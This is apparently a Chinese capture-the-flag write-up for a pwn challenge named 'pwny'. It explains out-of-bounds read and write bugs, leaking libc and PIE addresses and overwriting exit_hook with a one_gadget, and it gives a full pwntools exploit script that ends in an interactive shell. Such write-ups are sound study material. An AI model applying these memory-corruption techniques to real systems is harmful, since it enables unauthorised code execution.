复现一下
程序分析:
保护全开
这里有show,write,exit功能
show功能可以读出一个数组的内容,这里index没有限制,显然我们能数组越界泄露我们想要的地址
write功能是写值到指定数组,但index也没有限制,可以任意写
值得注意的是两个功能里的read函数的fd是byte_202860,而它已经被赋值了一个随机数
所以我们要把它改为0,程序的功能才能正常执行
我们可以用write的数组越界write(256)到byte_202860,由于write里的read没法使用,只能把0写给它,所以fd就改为0了
要用两次write(256)
我们用show数组越界泄露_IO_2_1_stderr_得到libc_base
我们可以gdb调试
p &_rtld_global
得到地址0x7f2287193060
减去libc_base
0x7f2287193060-0x7f2286b78000=0x61B060
最后加上偏移3848,3840都可以
所以exit_hook=libc_base+0x61BF60
exit_hook可以看这篇
https://www.cnblogs.com/bhxdn/p/14222558.html
继续泄露data段的实际地址
算出pie_base=data段的实际地址-data段的偏移地址(0x202008)
得出数组的实际地址=pie_base+0x202060
偏移到exit_hook的下标=(exit_hook-数组的实际地址)/8
我们write写入onegadget
这里找one_gadget要加-l 1
即one_gadget ./libc-2.27.so -l 1
等级提高一级,找到更多onegadget
exp
from pwn import *
local_file = './pwny'
local_libc = './libc-2.27.so'
remote_libc = './libc-2.27.so'
select = 0
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
elif select == 1:
r = remote('node4.buuoj.cn',25904 )
libc = ELF(remote_libc)
else:
r = gdb.debug(local_file)
libc = ELF(local_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
#------------------------
def show(index):
sla('Your choice: ','1')
sa('Index: ',str(index))
def write(index,content):
sla('Your choice: ','2')
sla('Index: ',str(index))
se(content)
#-----------------------
sla('Your choice: ','2')
sla('Index: ','256')
sla('Your choice: ','2')
sla('Index: ','256')
#----------------------
show(p64(0xFFFFFFFFFFFFFFFC)) #-4
ru('Result: ')
libc=int(rc(12),16)
libc_base=libc-0x3EC680 #_IO_2_1_stderr_ 00000000003EC680
info('libc_base',libc_base)
og=[0x4f2a5,0x4f302,0xe54f7,0xe54fe,0xe5502,0x10a2fc,0x10a308]
#---------------------------------
show(p64(0xFFFFFFFFFFFFFFF5))#-11
ru('Result: ')
data=int(rc(12),16)
info('data',data)
pie_base=data-0x202008
info('pie_base',pie_base)
#--------------------------------
exit_hook=libc_base+0x61bf60
info('exit_hook',exit_hook)
offest=(exit_hook-(pie_base+0x202060))/8
info('offest',offest)
write(offest,p64(og[6]+libc_base))
sla('Your choice: ','3')
#debug()
r.interactive()
参考师傅:
https://blog.csdn.net/zzq487782568/article/details/124803266
当然还有其他的做法,改malloc_hook为og,用scanf输入过长会申请堆块来触发,或者改栈的ret为og(泄露靠environ)之类的